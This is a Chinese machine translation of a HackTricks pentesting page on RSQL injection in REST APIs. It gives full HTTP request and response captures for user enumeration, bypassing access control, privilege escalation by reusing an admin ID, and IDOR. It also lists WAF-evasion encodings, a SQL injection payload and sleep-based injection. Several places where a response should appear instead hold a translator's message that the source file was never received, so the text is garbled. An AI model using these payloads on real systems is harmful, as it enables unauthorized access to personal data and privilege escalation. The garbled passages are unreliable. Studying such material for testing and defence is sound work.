RSQL Injection
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
What is RSQL?
RSQL 是为在 RESTful APIs 中对输入进行参数化过滤而设计的查询语言。基于 FIQL (Feed Item Query Language),最初由 Mark Nottingham 为查询 Atom feeds 指定,RSQL 以其简洁性著称,能够在 HTTP 上以紧凑且符合 URI 的方式表示复杂查询。这使得它成为用于 REST 端点搜索的优秀通用查询语言。
Overview
RSQL Injection 是一种出现在在 RESTful APIs 中使用 RSQL 作为查询语言的 web 应用中的漏洞。类似于 SQL Injection 和 LDAP Injection,当 RSQL 过滤器未被正确消毒或转义时,会发生此漏洞,允许攻击者注入恶意查询以在未授权的情况下访问、修改或删除数据。
How does it work?
RSQL allows you to build advanced queries in RESTful APIs, for example:
/products?filter=price>100;category==electronics
这会转换为一个结构化查询,用于筛选价格大于 100 且类别为 “electronics” 的产品。
如果应用程序未正确验证用户输入,攻击者可能操纵该过滤器以执行意外的查询,例如:
/products?filter=id=in=(1,2,3);delete_all==true
甚至可以利用 Boolean queries 或 nested subqueries 提取敏感信息。
风险
- Exposure of sensitive data: 攻击者可以检索本不应可访问的信息。
- Data modification or deletion: 注入过滤器以更改或删除数据库记录。
- Privilege escalation: 通过过滤器操纵赋予角色的标识符,以欺骗应用程序使其以其他用户的权限访问。
- Evasion of access controls: 通过操纵过滤器访问受限数据。
- Impersonation or IDOR: 通过过滤器修改用户之间的标识符,从而在未正确认证为该用户的情况下访问其他用户的信息和资源。
Supported RSQL operators
| Operator | Description | Example |
|---|---|---|
; / and | 逻辑 AND 操作符。过滤出同时满足两个条件为真的行 | /api/v2/myTable?q=columnA==valueA;columnB==valueB |
, / or | 逻辑 OR 操作符。过滤出至少一个条件为真的行 | /api/v2/myTable?q=columnA==valueA,columnB==valueB |
== | 执行 等于 查询。返回 myTable 中 columnA 的值完全等于 queryValue 的所有行 | /api/v2/myTable?q=columnA==queryValue |
=q= | 执行 搜索 查询。返回 myTable 中 columnA 的值包含 queryValue 的所有行 | /api/v2/myTable?q=columnA=q=queryValue |
=like= | 执行 like 查询。返回 myTable 中 columnA 的值类似于 queryValue 的所有行 | /api/v2/myTable?q=columnA=like=queryValue |
=in= | 执行 in 查询。返回 myTable 中 columnA 包含 valueA 或 valueB 的所有行 | /api/v2/myTable?q=columnA=in=(valueA, valueB) |
=out= | 执行 exclude 查询。返回 myTable 中 columnA 的值既不是 valueA 也不是 valueB 的所有行 | /api/v2/myTable?q=columnA=out=(valueA,valueB) |
!= | 执行 not equals 查询。返回 myTable 中 columnA 的值不等于 queryValue 的所有行 | /api/v2/myTable?q=columnA!=queryValue |
=notlike= | 执行 not like 查询。返回 myTable 中 columnA 的值不类似于 queryValue 的所有行 | /api/v2/myTable?q=columnA=notlike=queryValue |
< & =lt= | 执行 lesser than 查询。返回 myTable 中 columnA 的值小于 queryValue 的所有行 | /api/v2/myTable?q=columnA<queryValue /api/v2/myTable?q=columnA=lt=queryValue |
=le= & <= | 执行 lesser than 或 equal to 查询。返回 myTable 中 columnA 的值小于或等于 queryValue 的所有行 | /api/v2/myTable?q=columnA<=queryValue /api/v2/myTable?q=columnA=le=queryValue |
> & =gt= | 执行 greater than 查询。返回 myTable 中 columnA 的值大于 queryValue 的所有行 | /api/v2/myTable?q=columnA>queryValue /api/v2/myTable?q=columnA=gt=queryValue |
>= & =ge= | 执行 equal to 或 greater than 查询。返回 myTable 中 columnA 的值等于或大于 queryValue 的所有行 | /api/v2/myTable?q=columnA>=queryValue /api/v2/myTable?q=columnA=ge=queryValue |
=rng= | 执行 from to 查询。返回 myTable 中 columnA 的值大于等于 fromValue 且小于等于 toValue 的所有行 | /api/v2/myTable?q=columnA=rng=(fromValue,toValue) |
注意: 表格基于来自 MOLGENIS 和 rsql-parser 的信息。
Examples
- name==“Kill Bill”;year=gt=2003
- name==“Kill Bill” and year>2003
- genres=in=(sci-fi,action);(director==‘Christopher Nolan’,actor==*Bale);year=ge=2000
- genres=in=(sci-fi,action) and (director==‘Christopher Nolan’ or actor==*Bale) and year>=2000
- director.lastName==Nolan;year=ge=2000;year=lt=2010
- director.lastName==Nolan and year>=2000 and year<2010
- genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino
- genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino
注意: 表格基于来自 rsql-parser 的信息。
常见过滤器
这些过滤器用于在 API 中细化查询:
| Filter | Description | Example |
|---|---|---|
filter[users] | 按特定用户过滤结果 | /api/v2/myTable?filter[users]=123 |
filter[status] | 按状态过滤(active/inactive、completed 等) | /api/v2/orders?filter[status]=active |
filter[date] | 在日期范围内过滤结果 | /api/v2/logs?filter[date]=gte:2024-01-01 |
filter[category] | 按类别或资源类型过滤 | /api/v2/products?filter[category]=electronics |
filter[id] | 按唯一标识符过滤 | /api/v2/posts?filter[id]=42 |
常见参数
这些参数用于优化 API 响应:
| Parameter | Description | Example |
|---|---|---|
include | 在响应中包含相关资源 | /api/v2/orders?include=customer,items |
sort | 以升序或降序排序结果 | /api/v2/users?sort=-created_at |
page[size] | 控制每页结果数量 | /api/v2/products?page[size]=10 |
page[number] | 指定页码 | /api/v2/products?page[number]=2 |
fields[resource] | 定义响应中要返回的字段 | /api/v2/users?fields[users]=id,name,email |
search | 执行更灵活的搜索 | /api/v2/posts?search=technology |
信息泄露和用户枚举
下面的请求展示了一个注册端点,它要求提供 email 参数以检查是否有用户使用该 email 注册,并根据该 email 是否存在于数据库返回 true 或 false:
请求
GET /api/registrations HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
我没有收到要翻译的文件内容。请粘贴 src/pentesting-web/rsql-injection.md 的内容(或提供可以访问该内容的文本),我会按要求将其中的英文翻译成中文并保留原有的 markdown/HTML 语法。
HTTP/1.1 400
Date: Sat, 22 Mar 2025 14:47:14 GMT
Content-Type: application/vnd.api+json
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
Content-Length: 85
{
"errors": [{
"code": "BLANK",
"detail": "Missing required param: email",
"status": "400"
}]
}
虽然预期使用 /api/registrations?email=<emailAccount>,但可以使用 RSQL 过滤器通过使用特殊运算符尝试枚举和/或提取用户信息:
请求
GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://locahost:3000
Connection: keep-alive
Referer: https://locahost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
我没有收到要翻译的文件内容。请粘贴 src/pentesting-web/rsql-injection.md 的内容,我会按你列出的规则把相关英文翻成中文并保留所有 markdown/HTML 标签、链接、路径和不翻译的术语。
HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:09:38 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 38
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": {
"attributes": {
"tenants": []
}
}
}
在匹配到有效邮箱账户的情况下,应用会在响应中返回该用户的信息,而不是像经典的 “true”、 “1” 或其他值那样返回给服务器:
Request
GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
我需要 src/pentesting-web/rsql-injection.md 的英文内容来翻译。请把该文件的原文贴在这里;我会把可翻译的英文文本转换为中文,同时严格保留所有代码、标签、链接、路径和 markdown/HTML 语法,不翻译你指定的不应翻译的项。
HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:19:46 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 293
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": {
"id": "********************",
"type": "UserAccountDTO",
"attributes": {
"id": "********************",
"type": "UserAccountDTO",
"email": "manuel**********@domain.local",
"sub": "*********************",
"status": "ACTIVE",
"tenants": [{
"id": "1"
}]
}
}
}
Authorization evasion
在此场景中,我们从一个具有基本角色的用户开始,该用户没有特权权限(例如 administrator),无法访问数据库中注册的所有用户列表:
请求
GET /api/users HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
响应
HTTP/1.1 403
Date: Sat, 22 Mar 2025 14:40:07 GMT
Content-Length: 0
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
我们再次使用 filters 和 special operators,这将为我们提供另一种获取 users 信息并规避 access control 的方法。 例如,筛选那些其 user ID 中包含字母 “a” 的 users:
Request
GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
响应
HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:43:28 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 1434192
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"id": "********A***********",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "************",
"email": "**********@domain.local",
"firstName": "rafael",
"surname": "************",
"telephoneCountryCode": "**",
"mobilePhone": "*********",
"taxIdentifier": "********",
"languageId": 1,
"createdAt": "2024-08-09T10:57:41.237Z",
"termsOfUseAccepted": true,
"id": "******************",
"type": "UserGetResponseCustomDTO"
}
}, {
"id": "*A*******A*****A*******A******",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": ""************",
"email": "juan*******@domain.local",
"firstName": "juan",
"surname": ""************",",
"telephoneCountryCode": "**",
"mobilePhone": "************",
"taxIdentifier": "************",
"languageId": 1,
"createdAt": "2024-07-18T06:07:37.68Z",
"termsOfUseAccepted": true,
"id": "*******************",
"type": "UserGetResponseCustomDTO"
}
}, {
................
Privilege Escalation
通常会发现某些端点通过用户的角色来检查权限。例如,我们这里面对的是一个没有任何权限的用户:
请求
GET /api/companyUsers?include=role HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
我没有收到要翻译的文件内容。请粘贴 src/pentesting-web/rsql-injection.md 的文本,或将要翻译的部分粘贴在此。我将按你的要求把相关英文翻译成中文,并保留所有 markdown/HTML 标签、路径和引用不变。
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:08 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 11
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": []
}
使用某些运算符我们可以枚举管理员用户:
Request
GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJh.....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
我没有收到 src/pentesting-web/rsql-injection.md 的内容。请把该文件的文本粘贴到这里(保留原有的 markdown、标签和链接),我会按要求将相关英语内容翻译为中文并保持原有的 markdown/HTML 语法与不应翻译的元素。
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:45 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 361
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"type": "CompanyUserGetResponseDTO",
"attributes": {
"companyId": "FA**************",
"companyTaxIdentifier": "B999*******",
"bizName": "company sl",
"email": "jose*******@domain.local",
"userRole": {
"userRoleId": 1,
"userRoleKey": "general.roles.admin"
},
"companyCountryTranslationKey": "*******",
"type": "CompanyUserGetResponseDTO"
}
}]
}
在得知管理员用户的 identifier 后,可以通过用该管理员的 identifier 替换或添加相应的 filter 来利用 privilege escalation 并获得相同的权限:
Request
GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ.....
Origin: https:/localhost:3000
Connection: keep-alive
Referer: https:/localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Response
HTTP/1.1 200
Date: Sat, 22 Mar 2025 18:53:00 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 68833
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"meta": {
"Functionalities": [{
"functionalityId": 1,
"permissionId": 1,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.userProfile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 2,
"permissionId": 2,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.my_profile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 3,
"permissionId": 3,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "layout.change_user_data",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 4,
"permissionId": 4,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.configuration",
"type": "FunctionalityPermissionDTO"
}, {
....
}]
}
}
Impersonate or Insecure Direct Object References (IDOR)
除了使用 filter 参数外,还可以使用其他参数,例如 include,它允许在结果中包含某些参数 (e.g. language, country, password…)。
在下面的示例中,显示了我们用户资料的信息:
请求
GET /api/users?include=language,country HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ...
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
我没有收到要翻译的内容。请把 src/pentesting-web/rsql-injection.md 的内容粘贴在此,我会按要求翻译成中文并保留原有 Markdown/HTML 语法和标签不变。
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:47:27 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 540
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"id": "D5********************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "**********",
"email": "domingo....@domain.local",
"firstName": "Domingo",
"surname": "**********",
"telephoneCountryCode": "**",
"mobilePhone": "******",
"languageId": 1,
"createdAt": "2024-03-11T07:24:57.627Z",
"termsOfUseAccepted": true,
"howMeetUs": "**************",
"id": "D5********************",
"type": "UserGetResponseCustomDTO"
}
}]
}
筛选器的组合可用于绕过授权控制并访问其他用户的个人资料:
Request
GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ...
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
请把 src/pentesting-web/rsql-injection.md 的内容粘贴在此,我会按要求把其中的英文翻译成中文,保留原有的 Markdown/HTML 标签、代码和不应翻译的术语。
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:50:07 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 520
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"id": "94******************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 2,
"translationKey": "**************",
"email": "jose******@domain.local",
"firstName": "jose",
"surname": "***************",
"telephoneCountryCode": "**",
"mobilePhone": "********",
"taxIdentifier": "*********",
"languageId": 1,
"createdAt": "2024-11-21T08:29:05.833Z",
"termsOfUseAccepted": true,
"id": "94******************",
"type": "UserGetResponseCustomDTO"
}
}]
}
检测 & fuzzing 快速技巧
- 通过发送无害探针检查 RSQL 支持,例如
?filter=id==test、?q==test或畸形操作符=foo=;冗长的 APIs 常常 leak 解析器错误(“Unknown operator” / “Unknown property”)。 - 许多实现会对 URL 参数进行双重解析;尝试对
(、)、*、;进行双重编码(例如%2528admin%2529)以绕过简单的黑名单和 WAFs。 - Boolean exfil with wildcards:
filter[users]=email==*%@example.com;status==ACTIVE并使用,(OR) 翻转逻辑,通过比较响应大小来判断。 - Range/proximity leaks:
filter[users]=createdAt=rng=(2024-01-01,2025-01-01)可在不知道确切 IDs 的情况下按年快速枚举。
框架特定滥用 (Elide / JPA Specification / JSON:API)
- Elide 和许多 Spring Data REST 项目将 RSQL 直接翻译为 JPA Criteria。当开发者添加自定义操作符(例如
=ilike=)并通过字符串拼接而非预编译参数来构造谓词时,可能演变为 SQLi(经典 payload:name=ilike='%%' OR 1=1--')。 - Elide analytic data store 接受参数化列;将用户可控的 analytic params 与 RSQL 过滤器结合是 CVE-2022-24827 中 SQLi 的根本原因。即使已修复的版本正确参数化,类似的定制代码通常仍然存在——寻找包含
${}的@JoinFilter/@ReadPermissionSpEL 表达式,尝试注入';sleep(5);'或逻辑恒真式。 - JSON:API backends 通常同时暴露
include和filter。对相关资源进行过滤filter[orders]=customer.email==*admin*可能绕过顶层 ACLs,因为关系级别的过滤会在所有权检查之前执行。
自动化助手
- rsql-parser CLI (Java):
java -jar rsql-parser.jar "name=='*admin*';status==ACTIVE"在本地验证 payloads 并显示抽象语法树——有助于构造平衡的括号和自定义操作符。 - Python 快速构建器:
from pyrsql import RSQL
payload = RSQL().and_("email==*admin*", "status==ACTIVE").or_("role=in=(owner,admin)")
print(str(payload))
- 可与 HTTP fuzzer (ffuf, turbo-intruder) 配合,通过在
=in=列表中迭代通配符位置*a*、*e*等,快速枚举 ID 和电子邮件。
参考资料
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


